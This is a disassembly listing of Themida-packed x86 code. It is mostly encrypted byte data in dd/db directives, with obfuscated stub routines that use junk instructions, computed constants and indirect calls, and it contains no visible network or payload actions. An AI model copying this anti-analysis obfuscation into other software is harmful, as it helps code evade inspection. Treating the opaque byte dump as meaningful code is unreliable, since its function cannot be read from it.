		dd 687h, 8B0F00h, 32000000h, 7A05F8C2h,	898A751Dh, 0D108258Dh
		dd 0F5CC8A07h, 8F0FC8D3h, 6, 10D18509h,	423507D1h, 6098D108h
		dd 312D9501h, 852907D1h, 7D12E8Dh, 1CAFE61h, 0D105C5BDh
		dd 0FD20A07h, 0FFFFBE85h, 13E9FFh, 0CEA00000h, 0B4F00D8Bh
		dd 5BEBA2B1h, 0CFD8485Ah, 1162BFBAh, 46F54B02h,	0FDB0BF9h
		dd 0FFFF6685h, 0C78A60FFh, 0D31328B9h, 0E9CF6110h, 0Ch
		dd 52E3D057h, 4B18DED4h, 0B1F2947Fh, 68A0Fh, 85310000h
		dd 7D11151h, 0F50000h, 6820F00h, 29000000h, 0D1027D95h
		dd 0F5000007h, 1820Fh, 0F90000h
		db 0, 0FCh
; ---------------------------------------------------------------------------


loc_58A7BE:				; CODE XREF: Themida_:loc_58A128j
		lea	eax, [ebp+7D13B01h]
		jmp	loc_58A7DC
; ---------------------------------------------------------------------------
		db 0DEh, 32h, 0CDh
; ---------------------------------------------------------------------------
		sti
		setalc
		icebp
		mov	ch, 0BFh
		imul	dword ptr [edx-6Ah]
		pop	edx
		inc	ebp
		fst	qword ptr ds:[ebp-22h]
		scasd
		lahf


loc_58A7DC:				; CODE XREF: Themida_:0058A7C4j
		mov	[ebp+7D130DDh],	eax
		jmp	loc_58A7F7
; ---------------------------------------------------------------------------
		db 0D6h
		dd 0AFAF2E11h, 923AB6E6h, 3071EDCCh
		db 3Fh,	0Ah, 83h
; ---------------------------------------------------------------------------


loc_58A7F7:				; CODE XREF: Themida_:0058A7E2j
		lea	eax, [ebp+7D13FBFh]
		mov	[ebp+7D11875h],	ecx
		mov	[ebp+7D11741h],	eax
		jmp	short loc_58A81F
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		dd 0E4000000h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_58A81F:				; CODE XREF: Themida_:0058A809j
		lea	eax, [ebp+7D14299h]
		mov	[ebp+7D11015h],	eax
		cmp	dword ptr [ebp+7D141D9h], 0
		jz	loc_58A964
		mov	byte ptr [ebp+7D131B5h], 56h
		push	0C12486EDh
		add	dword ptr [esp], 12FAE64Ch
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		mov	[ebp+7D141CDh],	eax
		mov	byte ptr [ebp+7D131B5h], 56h
		push	0FE207A7Fh
		xor	dword ptr [esp], 6288C22Dh
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		mov	[ebp+7D141D1h],	eax
		push	4
		call	near ptr sub_58A891
		add	[eax], dl
; ---------------------------------------------------------------------------
		db 0
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_58A891	proc far		; CODE XREF: Themida_:0058A888p

var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_BE		= dword	ptr -0BEh
var_BA		= dword	ptr -0BAh
var_B6		= dword	ptr -0B6h
var_B2		= dword	ptr -0B2h
var_AE		= dword	ptr -0AEh
var_AA		= dword	ptr -0AAh
var_A6		= dword	ptr -0A6h
var_A2		= dword	ptr -0A2h
var_9E		= dword	ptr -9Eh
var_9A		= dword	ptr -9Ah
var_96		= dword	ptr -96h
var_92		= dword	ptr -92h
var_8E		= dword	ptr -8Eh
var_8A		= dword	ptr -8Ah
var_86		= dword	ptr -86h
var_82		= dword	ptr -82h
var_7E		= dword	ptr -7Eh
var_7A		= dword	ptr -7Ah
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_4E		= dword	ptr -4Eh
var_4A		= dword	ptr -4Ah
var_46		= dword	ptr -46h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_E		= dword	ptr  16h
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_22		= dword	ptr  2Ah
arg_26		= dword	ptr  2Eh
arg_48		= dword	ptr  50h
arg_4E		= dword	ptr  56h
arg_54		= dword	ptr  5Ch

		push	eax
		mov	eax, [esp+4]
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		mov	eax, [ebp+7D141DDh]
		add	eax, 1F4h
		shl	eax, 2
		push	eax
		mov	[esp+4+var_4], eax
		push	0
		call	dword ptr [ebp+7D141D1h]
		mov	[ebp+7D141D5h],	eax
		mov	ebx, eax
		mov	eax, 0FFFFFFFFh
		call	dword ptr [ebp+7D11015h]
		mov	eax, ebx
		call	dword ptr [ebp+7D11015h]
		jmp	loc_58A964
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7D141D9h], 0
		jnz	loc_58A8E5
		retn
; ---------------------------------------------------------------------------


loc_58A8E5:				; CODE XREF: sub_58A891+4Dj
		push	edi
		mov	edi, [ebp+7D141D5h]
		stosd
		add	dword ptr [ebp+7D141D5h], 4
		pop	edi
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7D141D9h], 0
		jnz	loc_58A904
		retn
; ---------------------------------------------------------------------------


loc_58A904:				; CODE XREF: sub_58A891+6Cj
		pusha
		sub	dword ptr [ebp+7D141D5h], 4


loc_58A90C:				; CODE XREF: sub_58A891:loc_58A95Fj
		mov	ebx, [ebp+7D141D5h]
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	loc_58A939
		push	0AA7B700Ch
		add	[esp+2Ch+var_2C], 55850FF4h
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+7D141CDh]
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_58A95F
; ---------------------------------------------------------------------------


loc_58A939:				; CODE XREF: sub_58A891+85j
		call	near ptr loc_58A93E+4


loc_58A93E:				; CODE XREF: sub_58A891:loc_58A939p
		add	[eax-74B00000h], al
		inc	esp
		and	al, 4
		mov	eax, [eax]
		mov	[esp+22h+var_20+2], eax
		pop	eax
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+7D141CDh]
		sub	dword ptr [ebp+7D141D5h], 4


loc_58A95F:				; CODE XREF: sub_58A891+A3j
		jmp	loc_58A90C
; ---------------------------------------------------------------------------


loc_58A964:				; CODE XREF: Themida_:0058A832j
					; sub_58A891+41j
		dec	eax
		jmp	loc_58B33D
; ---------------------------------------------------------------------------
		dw 8CA8h
		dd 3EDC17C6h, 500CB0DBh, 422EAD68h, 87A6A862h, 487CD614h
		dd 0E66B7E78h, 0B6C512E1h, 0AAF55F02h, 7CD71AC6h, 471EB8D7h
		dd 503FFE3Ah, 0CCA9ED65h, 420CB57Bh, 0E7766A72h, 0B6C540EDh
		dd 0A9FA5900h, 7CCD1AC6h, 5804A5C8h, 4E23E03Ah,	0C2BDFA7Eh
		dd 0E38D610h, 0F6766E65h, 0F8C412A0h, 0BFEE5915h, 33CB03C6h
		dd 580AA5C9h, 34h, 62h dup(0)
		dd 8CA80000h, 32D61EC6h, 4704A3C7h, 4C34FD3Ah, 8FA5FA76h
		dd 5D3DD051h, 0E7606937h, 0B7D640AFh, 0EDFF5819h, 32D70694h
		dd 150CB9C7h, 5A66E373h, 0C2B6FD7Eh, 5A2FC102h,	882B6672h
		dd 0BDDC30CCh, 0E1FE450Dh, 30D706C6h, 150FB6C1h, 4566F973h
		dd 0C2A9E763h, 4131DD1Ch, 0E3257265h, 0AA9004AFh, 0ACEF4509h
		dd 25990794h, 1519A2C1h, 4429FF6Ah, 0CCA9E963h,	48h dup(0)
		dd 8CA80000h, 3DCB10C6h, 470EBCCDh, 5766FE3Dh, 0C2A8E77Eh
		dd 0E2FD919h, 0EC606E75h, 0ADDF06E1h, 0BFBB5202h, 35D71D93h
		dd 5C4BB0C0h, 4C3FAD74h, 91E4FA64h, 4B28CB08h, 8F0F257Ah
		dd 0B9D50C91h, 0EDB7531Fh, 33D51D93h, 5C4BB3CFh, 5120AD6Eh
		dd 8FE4E57Eh, 5C33D514h, 0EC642B6Eh, 0BDC240A5h, 0BFFA421Fh
		dd 33C05392h, 454BA5DBh, 5121E268h, 0EAE570h, 61h dup(0)
		dd 8BA80000h, 7CDC1F8Fh, 4719B8CDh, 4632FD6Fh, 0C2EAA975h
		dd 5D35D025h, 0ED777B37h, 0B5D112A6h, 0BEFA5E4Ch, 39DC11C6h
		dd 5406F7C0h, 5636E474h, 87B0E97Dh, 403D9815h, 0E3682B73h
		dd 0D2D502B8h, 0EAEF5F61h, 32D05395h, 4108B2C8h, 4166E97Fh
		dd 0C2A5A868h, 5B2ED127h, 0F06A2B64h, 0B9C203E1h, 0A9FE5D0Fh
		dd 34ED53C8h, 534BA4C7h, 323E173h, 0C5AAE766h, 412B9805h
		dd 0E3256065h, 0B7DD19AFh, 0B5531Eh, 0E0h dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_58B33D:				; CODE XREF: sub_58A891+D4j
		jmp	loc_58E022
; ---------------------------------------------------------------------------
		sub	edx, [ebp+7D11C5Dh]
		cld
		sub	[ebp+7D1087Dh],	ecx
		mov	eax, eax
		add	[ebp+7D10755h],	edi
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_58B369
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_58B37C


loc_58B369:				; CODE XREF: sub_58A891+ACDj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 1
		lea	ebx, [ebp+7D3E052h]
		call	ebx
		pop	ebx
		pop	eax


loc_58B37C:				; CODE XREF: sub_58A891+AD6j
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_58B396
		push	eax
		push	ebx
		mov	eax, 1
		lea	ebx, [ebp+7D3DF03h]
		call	ebx
		pop	ebx
		pop	eax


loc_58B396:				; CODE XREF: sub_58A891+AF2j
		push	0
		push	edx
		call	loc_58B3A1
		and	[edx-3Dh], bl


loc_58B3A1:				; CODE XREF: sub_58A891+B08p
		pop	edx
		mov	[esp+6+var_4+2], edx
		add	[esp+6+var_4+2], 19h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	29h, 0CDh
		dd 0F3D6C60h, 6AD7BFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 25B7DFC3h, 0C18D89BDh, 8B07D11Bh
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 27B378Ch, 0E4BAD0BAh, 0DAB70F61h, 2EC5BD83h
		dd 0F0007D1h, 16984h, 0FE900h, 0D2250000h, 0B3D71224h
		dd 0F1A579D4h, 2324692Ah, 6E9FBh, 0FB50000h, 8E5BEF0Bh
		dd 269DBD83h, 0F0007D1h, 13D84h, 0D2B70F00h, 0E9952B60h
		dd 8B07D10Bh, 0D1269D85h, 0C99D8B07h, 8107D10Ch, 0C78C61DBh
		dd 3E8052Ah, 0BB660000h, 5090C86Ah, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 2BF933A0h
		dd 563520DDh, 2039BD29h, 858D07D1h, 7D14CE6h, 20F5958Bh
		dd 0BA9007D1h, 2E91CFC7h, 900BB250h, 858DDF8Bh,	7D14CC4h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 3BC35545h
		dd 0E522D59h, 87AD1ADFh, 1DF1958Bh, 2EBB07D1h, 5020CD66h
		dd 0B59993BBh, 24048937h, 0A91FE381h, 9D895613h, 7D12755h
		dd 0B595FFh, 0BB6607D1h, 0C4831F6Fh, 0D5B5890Ch, 8D07D11Ah
		dd 0D14CC485h, 5D950B07h, 9007D117h, 0BA665250h, 310FD69Ah
		dd 585AD78Bh, 0CDE9BA50h, 0F9903DB1h, 3AB3026Ah, 0ED1495FFh
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0F91DD4C3h, 95B9BCEDh, 8A3605FAh,	6A61D0h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 5BA9F0C3h, 0CB62C381h, 85C709B4h, 7D14CF7h, 1, 9A30DB81h
		dd 9D336965h, 7D11405h,	11E896h, 0BC8C0000h, 803AAC2Eh
		dd 3F7B72CFh, 0D53236AFh, 60DCDAAEh, 52506CB2h,	585A310Fh
		dd 0BB505A61h, 5173FA2Ah, 53006A96h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 1E2B24F1h
		dd 0E6B0E0F8h, 0C1958Bh, 0B58907D1h, 7D14CA8h, 837FC680h
		dd 0D11715BDh, 850F0107h, 17h, 0F05F883h, 0E85h, 0D3B70F00h
		dd 0B8h, 0DDC28100h, 837B804Ch,	0D108CDBDh, 840F0007h
		dd 2Fh,	0FED9523h, 0E96007D1h, 7, 436C7ECAh, 66C17B0Ch
		dd 95FFD98Bh, 7D108CDh,	68D0Fh,	8D090000h, 7D121A1h, 159D8B61h
		dd 8307D128h, 0D12C25BDh, 840F0007h, 13h, 5A58D89h, 0B7B607D1h
		dd 0B8h, 99B53100h, 6007D116h, 1CFD9D8Bh, 858B07D1h, 7D11E25h
		dd 0C08388B6h, 0FCD68B02h, 4CA08589h, 8D2907D1h, 7D122BDh
		dd 0BBFF00C6h, 537DA8E4h, 31B585C6h, 685307D1h,	9FA00E0Ch
		dd 81D68B66h, 3ACC2404h, 9D015D11h, 7D118F1h, 7899501h
		dd 0B5FF07D1h, 7D10831h, 2F098D01h, 858D07D1h, 7D4A6EAh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0ABC35141h
		dd 9A51E3E5h, 0D8C3991Eh, 81D0FF40h, 0F8EC6AC3h, 0EF2FBB0Ah
		dd 8589675Fh, 7D10055h,	8244BA66h, 875BD83h, 0F0107D1h
		dd 0C285h, 0F1958B00h, 8907D12Dh, 0D12D058Dh, 958B6107h
		dd 7D12385h, 31B585C6h,	0E94507D1h, 9, 1FB37044h, 0C90613E3h
		dd 0D99D33B5h, 0E807D110h, 4, 0DA6038C2h, 5050D08Bh, 0A109BB52h
		dd 310F7583h, 98E5F3BBh, 8B585A2Fh, 0BB042444h,	3817803Ah
		dd 0BA66008Bh, 44897244h, 0BA660424h, 8158253Dh, 74889FDAh
		dd 31B5FF64h, 6A07D108h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 63C1C356h, 512019DFh
		dd 8D91A5D9h, 25A59503h, 858D07D1h, 7D4A6EAh, 23219D29h
		dd 0B58907D1h, 7D13449h, 0B589D0FFh, 7D11D4Dh, 9D89006Ah
		dd 7D1316Dh, 8166D0FFh,	834173C2h, 0D121B5BDh, 850F0107h
		dd 0EEh, 94D1B860h, 61F87B32h, 2A14D381h, 858B69A3h, 7D11E25h
		dd 0ADE6D381h, 9DE90B7Ah, 0F000000h, 8B60DEB7h,	0D1288995h
		dd 0BE907h, 24210000h, 0E6B70A9Bh, 0C64B31CEh, 0BA50618Fh
		dd 4DB318AAh, 56240489h, 6E960h, 46230000h, 9BB23EE0h
		dd 62DE8166h, 6A5A61AEh, 51006A14h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 2D08B6D4h, 258D894Bh
		dd 0FF07D107h, 0D1005595h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 718E4E7Ah
		dd 2EA4293h, 66F8C834h,	58C8A6BBh, 2D999529h, 0B52907D1h
		dd 7D1313Dh, 0F003880h,	0FFFF7585h, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 7637A179h
		dd 100C6B2h, 0E48CB81h,	6A613CFEh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 9609C352h
		dd 371A097Fh, 0BF0F7729h, 98D0FD7h, 0F000000h, 380h, 0DABF0F00h
		dd 21F1BD83h, 0F0007D1h, 9484h,	0B1BD8900h, 6A07D132h
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 12EE6416h, 0EC38129h, 567D9609h,	5ADF8B66h
		dd 5595FFh, 6A07D1h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 8CCF3AC3h, 0C36D2171h, 0F1FE24Ch
		dd 38Ch, 0F6E38000h, 0FFFF9AE9h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0EEA3735Bh
		dd 1E71FD7h, 0D11A05B5h, 0F185C707h, 107D121h, 0BB000000h
		dd 4B02B0BEh, 4CAC8589h, 0C28007D1h, 50609057h,	66310F52h
		dd 5A29DDBAh, 0B8525058h, 573CFB96h, 27BE310Fh,	5A4FD478h
		dd 8A506158h, 6A90D7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 665A31C3h, 1170B245h, 7E9E0h, 1A970000h
		dd 0FD492175h, 6A60B3h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 5352B0C3h, 9D8BE01Ch, 7D12165h
		dd 958B056Ah, 7D126F9h,	4CC4858Dh, 953107D1h, 7D10651h
		dd 60525050h, 310F5250h, 870F585Ah, 0
		dd 0F310F61h, 28Dh, 5AF38A00h, 24048958h, 1FED958Bh, 858D07D1h
		dd 7D14CB4h, 50F08A90h,	0D708B960h, 90614C0Ah, 30C19589h
		dd 0BB6607D1h, 95FFDC0Ch, 7D133BDh, 98D0Fh, 29600000h
		dd 0D12EADBDh, 8D61F507h, 0D179548Dh, 4880F07h,	66000000h
		dd 0BA75BBAh, 8D1174C0h, 0D14CC485h, 0D1FF5007h, 4CE28589h
		dd 0AEB07D1h, 4CE285C7h, 0FFFF07D1h, 7E8FFFFh, 38000000h
		dd 0A0EB915Bh, 6657A405h, 7B57C281h, 6A5A5Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0AE093BC3h
		dd 13E9h, 45948800h, 21B31208h,	3D5A9E9Fh, 48318D9Bh, 4FA3A2F9h
		dd 0AE8h, 49894A00h, 39610A95h,	8B82F257h, 31615BD6h, 0D1112185h
		dd 0B585C607h, 4D07D131h, 118A0FF9h, 0E8000000h, 9, 5305D971h
		dd 0E24DDA79h, 5A616056h, 21712468h, 8150B672h,	5842404h
		dd 958B3214h, 7D13491h,	2C01B5FFh, 9D8B07D1h, 7D1152Dh
		dd 32F19D8Bh, 858D07D1h, 7D4A6EAh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 8EC35747h, 0E6437EABh, 0D0FFFE8Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 8BC35040h
		dd 0C452BA3Ah, 85897170h, 7D11AA9h, 0E8DFBF0Fh,	0Dh, 0FD9D19D2h
		dd 0EC0D4FBFh, 0B9618Ah, 0EB8166C5h, 0C65A6CBBh, 0D131B585h
		dd 958B4507h, 7D113BDh,	0FEC9EC68h, 14E994h, 0A5250000h
		dd 0E07B8D15h, 0AC84D7DDh, 2D50EA48h, 95145223h, 34810A37h
		dd 8CA08524h, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0F7E4CDFh, 0B5FFD7B7h, 7D10831h
		dd 6890Fh, 9D8B0000h, 7D132B1h,	0A6EA858Dh, 0B75107D4h
		dd 0D0FF5BF6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	13C35141h, 666DF238h, 89AF95BBh, 0D1309185h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0D28B3ED3h, 958BDE8Bh, 7D11495h, 89D98C66h, 0D11AF19Dh
		dd 4C1F607h, 1BC840Fh, 950B0000h, 7D1165Dh, 10DE9h, 0EE900h
		dd 69690000h, 9B2838B9h, 7EA68CCEh, 38BCB610h, 915B58Bh
		dd 0BB6607D1h, 27BA691Bh, 81478CFBh, 1180C6h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8B4E4659h, 0D117A195h, 45BD8307h, 7D12Eh, 11850Fh, 85890000h
		dd 7D1328Dh, 9DE9h, 259D2300h, 8307D11Ah, 840F003Eh, 8Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0F2C35040h
		dd 0DAB75ECBh, 1F7DBD89h, 6A6007D1h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0DCC9C356h
		dd 0A0343A48h, 8A9118F4h, 15419D89h, 146A07D1h,	95FF41B2h
		dd 7D10055h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	41C35040h, 27F86B07h, 1B71863Dh, 0F48A61F9h, 0FFFF6EE9h
		dd 30BCBAFFh, 6C71D8Eh,	1, 2859B589h, 0BD8307D1h, 7D14CACh
		dd 97850F05h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 8168C357h, 2CEF99Ch
		dd 6F2CB81h, 0B58B692Dh, 7D13091h, 8598589h, 64B907D1h
		dd 56000000h, 3B1958Bh,	805A07D1h, 840FE83Eh, 1Eh, 11E9h
		dd 0CA704500h, 0E7CAC5A4h, 3E006C75h, 6978EFD2h, 0FE9B27Ah
		dd 80000000h, 7E8061EEh, 840FC205h, 1Ah, 8A46F38Ah, 850F49F9h
		dd 0FFFFFFC3h, 66D8D89h, 0FE907D1h, 80000000h, 0B58959DBh
		dd 7D133C9h, 33219523h,	805807D1h, 0BD834CEFh, 7D12551h
		dd 2F840F00h, 0E9000001h, 6, 0D7E8DA52h, 0E96019E9h, 9
		dd 230BB31Ch, 0AFD31490h, 0B585C6FAh, 5407D131h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 7EC35646h, 8F6B4CDAh
		dd 8D898A9Eh, 7D11755h,	0D97BA968h, 48E0FADh, 66000000h
		dd 81EE0CBAh, 434B2404h, 6A5175h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 9B0ED6C3h, 0EE8h, 0BED4F200h
		dd 0AC19E3ADh, 4CD4980Fh, 8B912BDDh, 0D12B8995h, 0B5FF5A07h
		dd 7D10831h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	12C35545h, 0B8806DCCh, 2B98C78Bh, 0D121C19Dh, 0EA858D07h
		dd 2B07D4A6h, 0D129E19Dh, 0C3816607h, 0D0FFC481h, 80006AFCh
		dd 0B5FF5AD3h, 7D12551h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 1EC35646h, 8F0Fh, 8B660000h, 6AD0FFDEh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 6152C350h, 197D958Bh, 85C707D1h, 7D11BC5h
		dd 1, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 15h
		dd 3C35141h, 0AE99Eh, 61A70000h, 0D5DC642Ch, 0E81A00A8h
		dd 14E860h, 5BA70000h, 12ED9FC6h, 781D0D66h, 8E266AA7h
		dd 92AA9399h, 0F52995Ch, 8Dh, 685A5B00h, 47060CFFh, 3481D38Ah
		dd 60C7F24h, 128C0F47h,	0E9000000h, 0Dh, 7C0449E6h, 0EB43999Eh
		dd 3D8CBBFAh, 33FF6A2Dh, 0D11B7995h, 0E995FF07h, 8B07D132h
		dd 0D103C995h, 0CE907h,	3C980000h, 209FE34Bh, 5AFFFA67h
		dd 6A61ACE4h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 428BC352h, 0FE9h, 0E560F00h, 4816361Bh
		dd 31AF9024h, 0C073AA7Ah, 13E952h, 159A0000h, 866F578Ch
		dd 0EC93DB13h, 0C6106ED0h, 0AF94DAB6h, 0B6505BF5h, 24048907h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A6C35242h
		dd 57A1198Eh, 50F8EEAAh, 858BD08Bh, 7D13209h, 22E99D8Bh
		dd 0C00B07D1h, 5D840Fh,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 958B90C3h, 7D12C91h
		dd 257595FFh, 6A07D1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 12EF0CC3h, 0BE960h, 903F0000h, 0D9A02F70h
		dd 729AFDC6h, 42EB8158h, 0C7696122h, 0D1230185h, 107h
		dd 83D68B00h, 0D11465BDh, 840F0007h, 0Ch, 2D3995FFh, 852907D1h
		dd 7D11B69h, 1795BD83h,	0F0007D1h, 0E84h, 0C2816600h, 95FFD9FFh
		dd 7D12479h, 83DA8B66h,	0D120DDBDh, 840F0007h, 3Ch, 0D1BD83F9h
		dd 7D125h, 2E850Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 190424h, 53430000h, 1073FAC3h, 662A84D5h
		dd 0FFA20ABBh, 0D106B195h, 70CA8007h, 16A9BD83h, 0F0007D1h
		dd 3884h, 9D9D3100h, 8107D123h,	0D113D585h, 400307h, 12E900h
		dd 0A59C0000h, 31CA7726h, 9C24848Fh, 4FF5A9F2h,	701C03E3h
		dd 20118581h, 400307D1h, 2BF80000h, 0D12C799Dh,	6A310F07h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0A5C6C352h, 0BF0FED48h, 0A18D8DD2h, 6A07D15Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0D890C357h, 0FE9F687h
dword_58C25C	dd 4000000h, 0FA0BBC97h, 1AD098DBh, 971FC718h, 189F231h
		dd 33D88B66h, 52006AC2h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 888CD8AFh, 0C8C283E2h, 97BA9463h
		dd 896EC3F1h, 6A0441h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 8D7FFAC3h, 1AB17CCDh, 0F1CB7CFh
		dd 0E1B53131h, 8B07D11Bh, 0D12F3D9Dh, 0C28D8D07h, 6A07D15Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0B619C353h, 6860Fh, 0CA810000h, 112A836Dh
		dd 8B660189h, 89C233D0h, 95890441h, 7D110B9h, 20CDBD83h
		dd 0F0007D1h, 1784h, 55950300h,	0FF07D120h, 0D10CA595h
		dd 5850F07h, 66000000h,	6480C281h, 33B5BD83h, 0F0107D1h
		dd 3C85h, 4DB52900h, 0E907D11Ch, 31h, 2219BD89h, 0B58B07D1h
		dd 7D15D0Dh, 6C7h, 0B58B0000h, 7D15B11h, 6C7h, 0FCF0000h
		dd 0A8Fh, 5E900h, 0F3520000h, 0B22E2F5Eh, 1BD83D1h, 7D123h
		dd 176840Fh, 83FC0000h,	0D11F59BDh, 850F0107h, 158h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 51C35646h, 5C736670h
		dd 0E4BB66A8h, 0A08D8BCCh, 307D14Ch, 0D131619Dh, 0ADB50907h
		dd 0C607D116h, 0D68B0001h, 56006A60h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0B20CCC23h
		dd 0CAC4FC91h, 66605440h, 0A018E781h, 0FE8h, 8E601F00h
		dd 27AD3AF3h, 87527C98h, 0EF54F3D0h, 1021BD89h,	615E07D1h
		dd 2DF19589h, 1C6807D1h, 51B3FC35h, 0DE8h, 44262000h, 12DCE2Ah
		dd 0E0AD7D5Dh, 0F58ABCDFh, 4815B5Bh, 3CB6424h, 2591BB4Ch
		dd 0FF6A20BDh, 0B70F6053h, 35BB66FEh, 895B6129h, 0D11C09BDh
		dd 0E995FF07h, 6A07D132h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 98ACC350h, 660B160Bh
		dd 964EC281h, 31D59589h, 96107D1h, 0D12379BDh, 0FFD68B07h
		dd 0D12BC995h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0EB0586Ch, 8D89CE4Dh
		dd 7D1255Dh, 4CA08D8Bh,	6A07D1h, 3E856h, 5E200000h, 74895EC3h
